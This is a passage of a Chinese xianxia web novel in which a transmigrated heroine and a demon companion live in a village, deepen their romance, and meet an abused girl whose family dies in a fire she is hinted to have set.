靳江浛不理不睬,他将岁忆谙放倒在床榻上,调整好姿势,盖好被子。
靳江浛视力极好,望着岁忆谙瞪向自己的眼睛,他忍不住俯下身子,轻柔的吻落在了岁忆谙的眼睛上。
岁忆谙怔住,随后感受到发顶被摸了摸。
“乖乖睡吧。”靳江浛说了一句,接着撕掉符箓,躺回地上。
安静的屋子里只有两人的呼吸声,岁忆谙的眼睛渐渐适应了黑暗,而她也听见了自己的心跳声。
好像有什么东西在悄然发生改变,只不过这种岁忆谙并不知晓。
次日清晨,岁忆谙坐起身,就发现地上空无一物,被褥被叠好放到了床尾。
岁忆谙起床收拾床铺,刚收拾完毕,靳江浛就推门进来了。
靳江浛将一个铜盆放在木架上,笑道:“谙,你醒啦,这是洗漱的水。”
“多谢。”
经历昨夜的事后,岁忆谙原以为自己与靳江浛的相处会十分尴尬,可现在看来,似乎昨夜什么事都未曾发生过。
不知不觉间,岁忆谙伸手抚摸自己的右眼,是昨夜靳江浛吻过的右眼。
似乎还能感受到吻的滚烫,岁忆谙意识到自己干什么后,吓得瞬间收回手。
环顾屋里一圈,还好靳江浛出去了。<
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屋外,站在院子里的靳江浛睁开双眼,意识从屋内收回,他勾唇浅笑,眼中满是喜悦。
吃完早膳后,岁忆谙和靳江浛一同出门去了集市。
现在时辰尚早,集市格外热闹,都是出门卖菜的村民。
桃花村不亏叫桃花村,每隔百步就有一棵桃花树,遍地都是桃花瓣,香气扑鼻。
这倒是让岁忆谙想起了昨夜,她在靳江浛身上闻到的桃花香,脸不自觉地红了些。
一旁的靳江浛见此,笑得更灿烂了。
集市上的铺子里还有卖用桃花做的东西。
岁忆谙买了些猪肝,以及奶奶家里缺的东西。
“怎么买的都是补血的。”跟在身后提东西的靳江浛疑惑。
岁忆谙随口道:“你流了那么多血,不得补补?”
此话一出,靳江浛只觉得心里甜蜜蜜的,太好了,岁忆谙还是在乎他的。
岁忆谙正站在卖桃花糕的摊子前,摊子上的蒸笼一掀开,热气就呼呼往空中飞。
刚出笼的桃花米糕看着十分诱人,清香扑鼻,岁忆谙要了几块,打包好的米糕上还放着一片桃花瓣儿。
岁忆谙拎着糕点一转身,就发现身后的靳江浛消失了。
心脏猛地一跳,不安感席卷全身。
岁忆谙立即四处张望,试图在人群中寻找到靳江浛的身影,还好在不远处的一个摊子前看见了他。
靳江浛即使穿着最普通的粗衣,他身上的气质还是能让人一眼看见。
岁忆谙穿过人群朝靳江浛走去,走到他跟前时,他正好买完了东西。
岁忆谙想问的话还没问出口,靳江浛就跟献宝似的,将怀中的东西捧到她面前。
是冒着肉香的生煎包。
“生煎包。”
岁忆谙一怔,抬眼看了看面带笑容,略显呆傻的靳江浛。
昨夜岁忆谙说得并不是生煎包,而是神经病,她并不知晓靳江浛听不听得懂。
倘若听不懂还好,倘若听懂了,得知自己骂他后,竟然还有心思给自己买生煎包,那他也太能忍了吧。
岁忆谙压下心头思绪,将他怀中用油纸抱着的生煎包拿过,催促道:“走吧走吧,奶奶还等着我们的肉。”
两人满载而归,走到集市口时,岁忆谙便看见前方的人群里闹哄哄的。
秉持着看热闹的心态,她挤了进去。
人群的中间是一女子,女子的衣着比寻常村民还要再烂一些,整身都是补丁,身形虽然消瘦,但依稀可见容貌姣好。
女子正坐在地上,她面前的地上是一块比衣裳还崭新的布,布上摆满着绿油油的菜。
“沈二啊,你要是跟我回去,你就不用在这儿卖菜了。”
女子好像叫沈二,说着话的是一个衣着华丽的男子,男子正蹲在菜摊前。
听着周围村民的议论,岁忆谙得知了沈二的身份。
女子就叫沈二,是村头沈家的。
家中排行第二,她有一个哥哥,四个弟弟,她是家中唯一的女娃。
岁忆谙仔细打量着沈二,她觉得沈二给自己的感觉很熟悉。
沈二并未理会面前的男子,而是用她那双不算明亮的眼睛在围观的人群中扫视。
最后落在了看戏的岁忆谙身上。
57. 很重要
岁忆谙被看得心里咯噔一下,好在沈二只是看了一眼就转移了视线。
沈二没有回答男子的话,男子不悦地站起身,嘴里骂着走了。
似乎是预想中的争吵没有发生,村民们觉得无趣,便纷纷散去。
“还看吗?”靳江浛提着大包小包站在岁忆谙身边。
岁忆谙摇摇头,说:“走吧。”
两人继续往集市口走去,在路过沈二的摊子时,岁忆谙感觉自己的裙摆被人拉住了。
“姑娘!”
低头一看,是沈二。
“姑娘,来看看我的菜吧。”沈二的语气唯唯诺诺的,冷淡的眼里出现了几分渴望。
这时,岁忆谙却发现沈二的衣袖下的手臂都是淤青,她下意识开口:“你的……”
话到嘴边又止住了,一想到沈二家的情况,岁忆谙蹲下身,说:“你的菜我都要了。”
“谢谢姑娘。”沈二感激道。
靳江浛将菜篮子放下,沈二把菜都放进篮子里。
岁忆谙从布袋子里翻找一番,拿出了几块碎银子。
“姑娘,不用这么多钱的。”沈二有些惶恐,她还从未见过这么多钱。
“你能藏点就藏点,拿着这些钱去做你想做的事。”说罢,岁忆谙提着装好的菜篮子站起身。
沈二连忙道谢。
两人离去,沈二的眼神直直盯着岁忆谙,眼底情绪翻涌。
许久,沈二才低头收拾自己的东西。
碰巧的是,在沈二低头的那一个瞬间,岁忆谙扭过身子看去。
看着骨瘦如柴的沈二,岁忆谙的心像是被一块大石头压住,喘不过气。
又是一个被剧情束缚的人,希望她的话对沈二有用。
靳江浛问:“怎么了?”
岁忆谙回头:“没什么,希望是我多想了。”
“奶奶明明种了菜,你怎么还买?直接给钱不就好了吗?”
靳江浛眼神幽幽,那个沈二看起来不是什么好人,茫茫人海中,就只拽住了岁忆谙的裙摆,肯定有问题。
“她的摊子是在集市口,人来人往那么多人,要是能卖完早就卖完了。”
两人回到奶奶家,吃完饭后,岁忆谙就打算去田里帮奶奶挖土豆。
奶奶除了院子前后的田,在外的大道旁还有田。
两人拿着竹筐锄头就出发了,身后还传来楚奶奶的声音。
“记住,不要挖错了!”
“好咧!”岁忆谙应道。
正值下午,逐渐步入夏季,空气闷热,蝉鸣声十分吵闹。
田路难走,还长满了杂草,看不清脚下是否有路,稍不留神就会踩空。
靳江浛走在前头探路,岁忆谙跟在他身后。
“我记得楚奶奶说,她的田在村里唯一一块池塘旁边。”岁忆谙仔细回想着。
“这儿!”
两人寻到池塘边,池塘挺大,水也不清,不过平静的水面时不时波荡一下,显然是有鱼在里面。
池塘边的田里正长着土豆茎叶,两人站稳,正准备用锄头锄土时,一道呵斥声响起。
“你们怎么站在我家田里?!”
岁忆谙和靳江浛面面相觑,都从对方眼中看见了迷茫。
交涉一番后,岁忆谙才知晓他们走错了地,楚奶奶的田在池塘的另一边。
谁晓得这家也种了土豆啊。
两人开始拔土豆,先用锄头将根部的土弄松,再揪着露出的茎叶连根拔起。
动作不快,而且靳江浛还布下了避暑的结界,到最后,他决定借助魔力作弊。
随着时间流逝,头顶上的太阳落下,已是黄昏,橙黄的夕阳就像一个咸鸭蛋,看得岁忆谙都饿了。
岁忆谙抖了抖沾在鞋底的泥土,靳江浛见她这副筋疲力尽的模样,便来到她身前,蹲下身子,说:“上来吧,我背你。”
岁忆谙诧异一瞬,这好像是靳江浛第二次想背自己了,她不由得想起了岁岁。
想着便问出了口:“岁岁呢?”
“你休想用岁岁。”靳江浛语气狠了些,无论如何,他都不会让岁忆谙踩着长剑飞走的。
岁忆谙一听,作势要翻布袋子,嘴上还说:“那我用穿梭符吧。”
手还没伸进去,靳江浛就站起身牵住她,难为情地说:“你不要用穿梭符,你就让我背你吧。”
岁忆谙还不满意,她双手抱臂环胸,道:“你求我上去。”
气氛沉默,就怕空气突然安静。
就在岁忆谙以为靳江浛会径直走掉时,她看见了靳江浛红透的耳朵。
“我的好祖宗,我的好姐姐,我求你了。”
岁忆谙被说得脸莫名红了,她佯装勉为其难道:“好吧好吧。”
岁忆谙将靳江浛的身子掰过去,倒退两步,助跑跳上了他的背,双腿缠在他的腰上。
靳江浛顺势上手扶住她的膝窝,背稳后,便朝田外走去。
田路凹凸不平,靳江浛走的速度很慢,但每一步都很稳。
待两人走出田后,岁忆谙才发现那筐土豆没拿,她拍了拍靳江浛的肩,说:“没拿竹筐。”
“我已经弄回奶奶家了。”靳江浛低声说着。
此话一出,岁忆谙只觉得靳江浛无比“狡诈”。
靳江浛的耳朵依旧红着,她忍不住上手摸了摸。
“你耳朵好红。”
靳江浛的身子明显僵硬了一瞬,随后说:“谙,别闹。”
岁忆谙不乐意了,“就允许你摸我,不允许我摸你了?”
靳江浛沉默半晌,才开口:“你想摸便摸吧…………”
靳江浛的背很宽,趴在上面十分得有安全感,手臂也有劲。
走着走着,岁忆谙有些困了,她打了个哈欠,脑袋靠在靳江浛肩上,眼睛逐渐闭上。
耳边传来均匀的呼吸声,靳江浛的步伐又放慢了些。
回奶奶家的路不长,但他希望这条路变长。
不过终于在天黑前走到奶奶家门口,碰巧岁忆谙也醒了。
“放我下来吧。”
靳江浛将人轻轻放下。
岁忆谙脚一落地,就直奔屋里头。
“奶奶,我们回来了!”
屋里传来奶奶的声音:“饭都做好了,洗完手就来吃吧。”
靳江浛看着欢快的背影,心中没来由得感到落寞。
星光点点,整座村子都笼罩在夜色之下。
屋内无灯,岁忆谙有些无聊,她侧躺在榻上,面对靳江浛问:“靳江浛,你伤好了没有?”
靳江浛顿感不妙,他并未直接回答,而是反问道:“好了如何,不好如何?”
“好了我们就去找白英空,没好就尽快养好。”
说完后,岁忆谙突然想起一件事,她可以
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自己去找白英空,为何要等靳江浛伤好呢?
靳江浛问:“白英空对你很重要吗?”
“你……对我更重要。”
此话一出,不仅靳江浛愣住了,岁忆谙自己也愣住了。
她怎么会说出这样的话?对她最重要的不是回家吗?
这些日子,她似乎把重心放在了靳江浛上,真奇怪。
“谙,你说什么?”靳江浛激动地坐起身,不可置信地看着她。
岁忆谙脑中思索一番,直觉告诉她,说这句话对她有用。
“我说,你对我更重要。”
岁忆谙神情认真,可眼中毫无波澜,为了防止靳江浛看清她的眼睛,她转过身,背对着靳江浛。
“真的吗?”
“真的,快些睡吧。”
这一夜,岁忆谙试图联系零零零,可毫无动静,她心慌到睡不着。
而靳江浛也睡不着,是激动得睡不着。
月蛇妖洲———
一袭白衣的穆净坐在大殿高位上,她轻柔地抚摸着手中的白猿,清冷的眉眼尽是烦躁。
这段时间,穆净派出去的傀儡一直没有寻到靳江浛的踪迹,就连跟踪岁忆谙的黑猫也没有消息传来。
不过好在傀儡寻到了白英空,以及凌仙宗的几位长老。
长老们被关在了月蛇妖洲的暗牢里,白英空则被送回了凌仙宗,要是一个都没寻到,那她这个宗主的位子坐得怕是不稳。
靳江浛流出的血足够穆净造魔了,现如今只是时间问题。
等到穆净寻到靳江浛,再将他身上的鬼石魔力抽出,魔族就得以重振。
只不过其他宗门再得知长老失踪后,就一直在派弟子寻找,竟然查到了此事与魔族有关。
不仅派人来月蛇妖洲探察,还在派弟子驻守魔境,这让穆净很是恼怒,关键是她还得表达赞许的态度,真是受不了了。
“魔主。”
流萤出现在大殿上,她躬身道:“属下在月蛇妖洲外寻到了两个人。”
话落,两人被带上大殿,穆净抬眼看去,眼睛亮了一些,她起身走下高位。
“柳微晴…………”
“本君竟然把你给忘了。”穆净走到神情冷淡的柳微晴面前。
柳微晴直视穆净:“你是…………公主?”
一旁的华屿山的眼神在两人之间来回徘徊。
穆净吩咐道:“松了她。”
被忽视的华屿山问:“那个公主,我呢?”
穆净上下打量他一眼,随口说:“关起来。”
华屿山被带了下去,怎么只松开柳微晴,不松他呀。
不过依照刚才的情况看来,柳微晴应该不会出什么事。
“你就和他们一起去找靳江浛吧。”穆净说完,转身离去。
流萤带着柳微晴来到议事厅里,柳微晴在这里见到了几个熟人。
黎绕月,裴汔还有欧阳浅。
黎绕月先看见了柳微晴,她有些惊讶地走上前,问:“柳姑娘?你怎会在此处?”
“我本是去找岁忆谙的,寻着魔气就来到了这里。”柳微晴淡淡道。
按理说,她应该没找错地方的,靳江浛的魔力就在月蛇妖洲,但穆净刚才说,她也要去找靳江浛。
靳江浛不在这儿,那岁忆谙一定不在这儿。
“好了,我们走吧。”欧阳浅催促道。
58. 可以亲吗
过几日便是端午,岁忆谙和靳江浛打算上集市买些包粽子用的东西。
两人走在集市上,依旧是岁忆谙在前头买,靳江浛在后头拎东西。
“我想吃甜的。”靳江浛道。
“北方才吃甜的。”
靳江浛委屈巴巴地说:“可我想吃。”
岁忆谙无奈:“好好好,那就买点蜜豆和蜂蜜回去吧。”
在路过一个卖鸭子的摊子时,岁忆谙停下脚步,二十几只毛茸茸的鸭子被放在木桶里,她一眼就爱上了,不过还得先问问楚奶奶同不同意养鸭子。
在返回的路上,集市口传来吵闹声,岁忆谙潜意识认为是沈二有麻烦了。
走近一看,地上的菜被踩烂,正在哭泣的沈二被几个村民护在身后,而对面是一个发着疯的中年男人。
中年男人怀中抱着酒壶,浑身酒气,嘴里一直在辱骂着沈二,还对拦着他的村民拳脚相向。
要不是有人拦他,他的拳头怕是要落在身形瘦弱的沈二身上了。
围观的村民纷纷摇头,都在怜悯沈二,暗骂中年男人。
岁忆谙从他们口中听到,沈二是被捡回来的,是为了让沈二照顾沈爹和三个兄弟。
沈爹喝了酒就打她,还有三个兄弟,也不是什么好东西,都跟她爹一样爱打人。
他们也管不了人家家务事,只能偷偷帮衬着点沈二。
骚乱很快就因为中年男人醉酒睡着而平息,村民将男人送回家,而沈二也跟着回家。
这几日,岁忆谙都在和楚奶奶学包粽子,靳江浛依旧在劈柴和喂鸭子,只不过有时会找不着他人。
到了端午节这天,村里家家户户的门前都插着艾条,桃花村都闻不到桃花的香味了,全是艾草香。
午后,岁忆谙手里拿着肉粽在啃,而靳江浛神神秘秘地出现,又神神秘秘地将她拉到外面。
靳江浛扭捏道:“谙,你能不能伸出手,然后闭上眼,我有惊喜给你。”
岁忆谙狐疑地看着他。
在靳江浛的催促下,岁忆谙伸出左手,闭上眼,在等待的同时,还不忘咬一口右手的肉粽。
岁忆谙能感受到靳江浛往她手腕上绑了什么东西。
待他说好了后,岁忆谙睁开了眼睛。
左手手腕上戴着一根绳子,用五种颜色的绳子编成的手绳。
“五彩绳。”
“我自己编的,虽然没有外面卖的好看,但是你不准摘下。”靳江浛说着,还偷摸观察岁忆谙的神情。
“你这几日一直在编这五彩绳?”岁忆谙问。
“对。”
难怪岁忆谙有时见不到他人,搞半天他再编手绳。
岁忆谙不知自己该说什么,事态发展不受她控制了。
见岁忆谙半天不回话,靳江浛慌了,他拉起岁忆谙的手,低声下气地哀求道:“答应我,不要摘下好不好。”
“…………好。”
靳江浛高兴得嘴角都要翘上天了。
后半日,岁忆谙的情绪并不高涨,直到深夜,她躺在院中的竹椅上,仰望星空。
靳江浛坐到另一个竹椅上,手中还拿着两壶酒。
“今夜月色甚美,我特意买了两壶桃花酿。”靳江浛将其中一壶递给了岁忆谙。
岁忆谙先是看了眼被乌云遮住的弯如钩的月亮,然后再看看有些窘迫的靳江浛。
岁忆谙伸手接过酒壶,嘴角微勾,似是嘲笑,她并不会喝酒,但想尝尝,打开木塞子,凑近壶口闻了闻。
桃花的清香大过白酒香,岁忆谙仰头喝了一小口,入口倒是一点桃花的味道都没有了。
舌尖微微发麻,岁忆谙仔细回味,怪怪的…………难喝,但有点上头。
两人光喝酒不说话,直到靳江浛的酒壶空了之后,他才开口:“谙…………”
喝了小半壶的岁忆谙眼神朦胧,听见声音后,应了一声。
靳江浛本想借着酒意向岁忆谙表白的,但因为体内有鬼石魔力,他喝酒跟喝水一样。
现在的他反倒是更清醒了。
“谙,我喜欢你。”
岁忆谙一听,酒被吓醒了大半,她看向靳江浛,眼中满是震惊,但心里却毫无意外。
靳江浛对她做的举动有心思的都能猜出来,只不过她懒得去想而已。
没有听见回答,靳江浛追问道:“谙,你呢?”
岁忆谙凝视着他,反问:“你喜欢我什么?”
靳江浛站起身,单膝跪在岁忆谙面前,仰着头,目光如炬,他说:“百年前,你救了我,当晚我就做了个梦。”
“梦里,你没有出现,也没有人救我,我独自一人过了百年,心中只剩仇恨。”
靳江浛并不知晓岁忆谙得知书中剧情,他只能通过做梦的借口诉说。
“我被吓醒了,一觉醒来,我发现你还在。”
“我不是一个人。”
说到这儿,靳江浛有些庆幸,他庆幸自己并非孤身一人,有人救他,有人陪他。
这句话似乎触动到了岁忆谙,她收回目光,仰头闷了一口酒,语气哀伤。
“可我是一个人。”
在这个书中世界,她始终都是一个人。
岁忆谙神色悲凉,心里堵塞,一口气上不来也下不去。
靳江浛握住岁忆谙放在膝上的手,说:“不,你不是一个人,你还有我。”
乌云散去,弯弯的月亮泛着极亮的光芒,两人对视,都从瞳孔中看见了彼此的脸庞。
在靳江浛充满期许的炙热眼神下,岁忆谙依旧没有正面回答,她又问了一个问题。
“靳江浛,倘若有一天我去了很远很远的地方,你会怎么办?”
靳江浛失魂落魄,他小声呢喃:“我会死…………”
“什么?”岁忆谙听不清。
靳江浛又坚定道:“我会去找你的。”
不就不是一个世界的吗?去找就好了,百年都等了,他不怕再来个百年。
“谙,你说我们要是一直待在这里该有多好,过着平静祥和的生活。”靳江浛将头靠在岁忆谙的膝上。
可她是要回家的…………
岁忆谙叹气:“靳江浛,你应该知晓我的来历,我是不可能呆在这里一辈子的。”
靳江浛意识觉醒,那他必定知晓自己不该出现在这里,说这话算是捅破了两人之间的窗户纸。
腿上的人默不作声,但岁忆谙能感受到他气压低沉,再忍着怒意。
靳江浛忽地站起身,走出两步,又停下站在原地,说到底,他并不想岁忆谙离开。
靳江浛背对着岁忆谙站立,皎洁月光洒在他身上,格外萧条寂寞。
看着气
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鼓鼓,充斥着不开心的背影,岁忆谙竟心软了,她产生了想要为他留下来的想法。
岁忆谙大惊。
不,不可以,她要回家。
或许,她可换个法子…………
岁忆谙开口:“靳江浛。”
仅仅是念了他的名字,靳江浛就迅速转身,想走过去,但反应过来自己在气愤,还是硬生生地压制住了,他别过脸不再看她。
他可是一个很有骨气的人。
“过来,我不喜欢不听话的人。”岁忆谙淡淡地说。
好吧,谙不喜欢不听话的…………那她就是喜欢听话的了!!
他听话,那谙就是喜欢他了!!!!!!!
靳江浛这般想着,僵着一张脸,害羞地挪到岁忆谙身前。
岁忆谙朝靳江浛招手,示意他俯下身子,然后揽过他的脖子。
在靳江浛疑惑的目光下,岁忆谙的唇亲上了他的脸颊。
靳江浛浑身僵硬,眼中充斥着不可置信。
岁忆谙的吻就像蜻蜓点水,靳江浛只感到脸颊处被碰了碰。
还没过多享受,岁忆谙就松了手,将人推开后便懒散地靠在椅背上。
月色下,靳江浛的脸红得像熟透的苹果,让人想啃一口,他支支吾吾半天,最后道:“可以再亲一次吗?”
说实话,刚才的吻他没有仔细感受。
岁忆谙扑哧一下笑出声来,接着摇头,用最温柔的语气说着最绝情的话。
“不可以。”
靳江浛有些失落,他害怕地追问:“谙,你不会离开我的对吧。”
岁忆谙仰头喝了一口桃花酿,辛辣在口腔中蔓延开来,带来一阵畅快。
“对。”她的话就是给靳江浛吃了颗定心丸。
睡前,靳江浛本想上床,可被岁忆谙赶了下来。
清晨,率先醒来的靳江浛坐在地上,他趴在床头盯着岁忆谙睡觉。
靳江浛希望岁忆谙以后一睁眼见到的便是自己。
睡梦中的岁忆谙皱了皱眉,随即翻身面朝里继续睡着。
靳江浛歇了心思,只得作罢,他蹑手蹑脚地收拾好被褥,备好水后,来到厨房做早膳。
岁忆谙起床洗漱,出门就碰上了靳江浛。
“谙,早上好。”
岁忆谙随口回了句早,话音未落,靳江浛突然凑近,她急忙伸手抵住,惊慌道:“你干嘛。”
“亲你啊。”靳江浛毫不掩饰道。
“等一下………”
岁忆谙还未说完,靳江浛就吧唧一口亲在了她的脸颊上。
还未等岁忆谙作出反应,一旁传来朗爽的笑声。
“哈哈哈————”
两人同时侧头看去,是一脸姨母笑的楚奶奶。
见两人表情羞涩,楚奶奶转身去了大厅,边走边留恋地感叹:“年轻真好啊。”
靳江浛咧着嘴笑,岁忆谙羞恼地踹了他一脚,说:“滚去挑水,不把水缸挑满不准吃饭。”
靳江浛十分听话地挑水去了,岁忆谙留了份早膳在厨房,而她拿着饲料在院里喂鸭子。
一阵清香传来,一大捧冒着水气的桃花突然出现在眼前。
“谙,送给你!”靳江浛手里正拿着桃花枝。
岁忆谙先是愣了愣,随即道:“让你去挑水,你怎么折花回来?”
59. 反派
嘴上虽这么说着,但岁忆谙还是上手触碰。
“我想和你一起种一棵桃花树,一颗属于我们的桃花树,卖花的阿伯说,这个要先用水泡着,然后再移栽在土里。”
岁忆谙心中触动,她道:“那先拿桶泡着吧。”
“好。”靳江浛屁颠屁颠地往屋里跑。
又过了两三天,岁忆谙和靳江浛如往常般上集市买东西,刚到集市口,两人就看见了几日都未曾出现的沈二。
沈二的脸色看起来更苍白了,而且她好像有些心不在焉。
“沈二!你家烧了!”远处跑来一个村民,他大喊着。
“什么?!”沈二听后,面露震惊,可靳江浛却看见了她眼中的兴奋。
岁忆谙和靳江浛对视一眼,不约而同地抬脚跟去。
大火侵蚀着茅草屋,大片大片的浓烟漂浮在空中,漫天火光,屋里传来阵阵哀嚎,空中还弥漫着烧焦的肉味。
“爹!”
“沈二,你不能进去!”
“火太大了,你进去会死的!”
沈二闷头就往火里冲,她平时干的粗活比寻常人多多了,三四个村民都拉不住,只能眼睁睁地看着她跑进火里。
许多村民都在帮忙挑水灭火,岁忆谙来的晚了些,她没有见着沈二,问了村里才知晓沈二在火中。
火势汹涌无比,茅草屋还隐隐有些要倒塌的迹象。
等了几十秒,见沈二还没有要出来的迹象,岁忆谙将手上的东西通通扔给靳江浛,然后从布袋子里掏出符箓往火中跑。
“谙!”靳江浛万分震惊,他不顾手上的菜,径直跑向火中。
周围的村民都惊呆了,挑水的动作都慢了些,他们还没见过有人这么不要命,一个接一个地往里冲。
屋里的烟雾更大,几乎快要看不清脚下的路了,冲击火中的岁忆谙四处张望,她并未见到沈二的身影。
身后追来的靳江浛一把揽过她,“谙,你怎么一声不吭就进来了!”
“我有避火符,你怕什么。”
岁忆谙有避火符护体,火焰自然烧不到她身上,而靳江浛是魔,普通的火更是不会伤到他。
“那你也不能一声不吭就进来呀,吓死我了。”靳江浛还心有余悸。
岁忆谙催促:“好了,快救人。”
两人在火中自如行走,靳江浛放心不下,便一直跟着她。
来到深处时,劈里啪啦的烧木声中参杂这一些微弱的求救声,嗓音听起来像是个男人。
岁忆谙刚想往声音来源走去时,身后传来沈二的呼喊。
“姑娘。”
她回头,黑色的浓烟中能看出一道身影,身影没有动,两人走去。
沈二浑身湿漉,还用湿帕子捂着口鼻,她诧异地闷声问:“你怎么在这里?”
她不仅诧异岁忆谙会进来,她还诧异岁忆谙怎么不怕火?
最重要的是…………岁忆谙应该没看到什么吧?沈二心想。
岁忆谙只是问:“你没事吧?”
“我…………”
沈二刚想回答,头顶上方一阵响动,一根被烧焦的房梁向下坠落,朝三人砸来。
靳江浛眼疾手快地将岁忆谙往后拉,而岁忆谙在退后前推了沈二一把。
三人步伐踉跄,都躲过了冒着火的房梁。
“先出去!”沈二道。
三人离开的一瞬间,身后的屋子骤然坍塌,沈二瘫倒在地上痛哭着。
岁忆谙回忆着,她刚刚跑出来的时候好像踩到了什么东西…………
火灭了,沈二的爹还有三个兄弟都死了,焦黑的尸体被村民抬了出来。
着火的原因并没有找到,村民们只当沈爹自己酗酒烧了屋子。
村民像是心照不宣一般,没有一个人提到报官,更没有请人验尸。
他们纷纷凑钱为四具尸体准备棺材,还想帮忙重建屋子。
沈二拒绝了,她说等四人下葬后,她就离开桃花村去找她的亲生爹娘。
楚奶奶也给了些备棺材的钱。
死人的棺材在院里停了三天,下葬当晚,楚奶奶的门被敲响了。
三人正在院中闲聊,院门大开着,听见敲门声后抬头看去,是沈二。
“楚奶奶好,我找岁……岁姑娘。”沈二揪着衣角,有些局促,她打听好岁忆谙的性命材过来的。
岁忆谙和靳江浛眼神交流一番,然后她起身朝外走去。
两人走到外头,沈二率先开口:“姑娘,那日你为何要进来?”
岁忆谙道:“哦,见你许久都没有出来,我就进去了。”
“多谢姑娘帮我,岁姑娘你真是一个大好人。”
沈二用水灵灵的眼睛看着岁忆谙,岁忆谙羞涩地挠了挠头,道:“没多大事儿,我也没帮你什么。”
“我明日就要走了,在走之前,我想重新介绍一下我自己。”沈二停下脚步。
岁忆谙也停下脚步,侧身看向她。
“我姓姚,叫姚钰君。”
姚钰君介绍着自己的名字,而听到这三个字后的岁忆谙身躯一僵,心中警铃大作。
姚钰君似是没有察觉到她的反应,自顾自说着。
“我是被他拐到桃花村的,那时我才五岁,我忘了回家的路,忘了爹娘的样貌,我只记得我的名字。”
岁忆谙嘴角扯出一抹微笑,口中念着那三个字。
“姚钰君…………”
倘若靳江浛是暗地里的反派,那姚钰君就是明面上的反派。
在原剧情中,靳江浛虽然贯穿全文,但却是最后才出场的,而姚钰君是剧情还未过半就出场的。
原剧情中的姚钰君身世凄惨,逃出家乡后,她入了凌仙宗,由于资质出众,被众弟子孤立陷害。
姚钰君并没有选择默默忍受这一切,她偷盗魔族古籍,并用偷偷学到的魔族术法杀了他们。
宗门上下都认为他们的死是魔族造成的。
白英空带着黎绕月回到凌仙宗,两人开始调查此事,姚钰君为了防止自己被发现,便对两人下手。
不过还未有什么结果时,靳江浛就杀上了凌仙宗,而姚钰君最后却为凌仙宗战死。
有些一言难尽的结局。
岁忆谙道:“你受苦了。”
姚钰君却笑着说:“以前或许苦,但现在不会了,其实我挺开心的。”
岁忆谙点头视作了然,只不过头刚点到一半,就听见姚钰君开口。
“当他们死的那一刻。”
姚钰君露出了一个极其诡异的笑容。
他们是谁?
沈家四人吗?
不过姚钰君开心也正常,毕竟伤她的人都死了。<
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p>深夜,岁忆谙双手枕在脑后,仰躺在床榻上,她还在回想关于姚钰君的事情。
反派不愧是反派,仅仅一句话就让她汗毛倒立。
靳江浛见岁忆谙忧思重重,便问:“她跟你说了什么?”
“没什么。”
房内十分安静,靳江浛不再说话,他侧身面向床榻,神色黯淡。
“谙…………”
岁忆谙刚要睡着就听见啜泣声,她侧头看去,靳江浛跪坐在被褥上。
窗户哗的一下突然开了,月光照进,靳江浛眼尾泛红,两行清泪滑落,看起来可怜至极。
岁忆谙有些懵,她问:“怎么哭了?”
靳江浛挪着膝盖来到床前。
岁忆谙掀开薄被坐到床沿,抹去他的眼泪。
触碰到温热泪水的指尖微微发颤,连带着心尖也微微发颤。
靳江浛猛地一扑,紧紧地环住岁忆谙的腰,脸埋在她怀中,声音哽咽。
“谙,你知不知道今天我有多担心你,要是你在火场里出不来怎么办?”
充满担忧的语气传来,岁忆谙莫名的心跳加速,她无奈道:“我又不是奔着自杀去的。”
她怎么可能将自己置于危险境地。
“再说了,你不是还在吗?”
岁忆谙还以为怎么了,结果是担心自己,不过靳江浛也进去了。
岁忆谙眼眸闪动,将手放到他的肩上,轻轻推开他,在他红透还有些许懵圈的眼神中,问:“你又为什么冲进去?”
靳江浛暗暗松了口气,他还以为假哭被发现了,原来是担心自己,顿时心里一阵甜蜜。
“我害怕你消失在火中…………我不想与你分开。”
就像百年前那样。
靳江浛眼神悲痛,现如今,对他来说生死只是一件很小的事,离别才是最痛苦的。
周围很安静,静得岁忆谙只听得见两人的呼吸声,她能清楚地看见,漆黑且深邃的瞳仁中倒映着自己的身影。
这一刻,气氛逐渐微妙了起来,两人靠得极近,视线在空中碰撞。
“夜深了,睡吧。”岁忆谙开口打破了这样的氛围,她扯过被子躺下。
而靳江浛面露失落,伤心地躺回地上。
隔天,两人之间的气氛很奇怪,奇怪就连楚奶奶就觉得有些不对劲。
吃完早膳,趁着靳江浛在厨房洗碗,楚奶奶悄摸来到岁忆谙身边,问:“你和小浛吵架了?”
“啊?没有吧。”岁忆谙不确定道,她不敢看楚奶奶的眼睛,自顾自地喂着鸭。
“我吃过的盐比你吃过的米还多,感情这种东西,错过了就没有了。”
岁忆谙的手顿了顿,认真地问:“错过就一定是件坏事吗?”
楚奶奶听后怔住,她叹气。
“或许吧,我们之间的感情似乎很平淡,没有天崩地裂的争吵,我原以为自己很了解爱,可现如今看来,我也不是那么了解爱。”
楚奶奶天真地以为爱的道路是充满坎坷的,但如胶似漆的爱才是世上最令人羡慕的。
岁忆谙见楚奶奶情绪有些低落,便笑道:“虽然没有天崩地裂的争吵,但是有天崩地裂的爱呀。”
楚奶奶一听,大笑出声:“哈哈哈哈————”
靳江浛不知何时来到两人身后,他也不说话,如鬼魅般站着。
60. 可怜
楚奶奶最先发现靳江浛,她道:“小浛,待会儿你去田里给菜浇水,用池塘里的水就好。”
靳江浛点头应下。
楚奶奶离开后,岁忆谙的鸭也喂完了,她转身想走时,被靳江浛拦了下来。
靳江浛委屈巴巴地问:“谙,你为何不理我?”
“有吗?”岁忆谙装傻充愣。
靳江浛又问:“谙,你生气了吗?你为何生气?”
“没有。”
岁忆谙真没生气,她为何要生气?她只是心里堵得慌,难受罢了。
当然,她也不知自己为何难受。
“谙,你看。”靳江浛忽然指着院中的水缸,“我们的桃花开了,可以移栽到土里了。”
桃花枝被靳江浛放进了大水缸里,其他的盆都太小了,不够放。
现如今,枝上的花苞开了些许。
岁忆谙随口说:“那你找块地种下吧。”
正当岁忆谙转身想进屋时,靳江浛拉住了她的袖口,语气卑微:“你能陪我吗?”
太阳越升越高,当升到头顶上空时,靳江浛独自一人来到田里。
虽然是孤零零一个人,但田里也有许多孤零零的人。
浇完水后,靳江浛在田边坐了许久,他始终想不明白岁忆谙不理他的点在哪里。
直到夕阳西下,天色渐晚,靳江浛都没想出个所以然来。
“靳江浛!”
身后传来岁忆谙的声音,起初靳江浛还未反应过来,以为自己出现幻听了,直到岁忆谙又喊了一声。
靳江浛回头。
岁忆谙逆着耀眼的夕阳光走来。
靳江浛急忙站起身,拍了拍沾满泥土的衣衫,看着走到面前的岁忆谙,低声问:“谙?你怎么来了?”
“怎么坐在这里不回去?”
“我……我在想你到底因何而生气。”
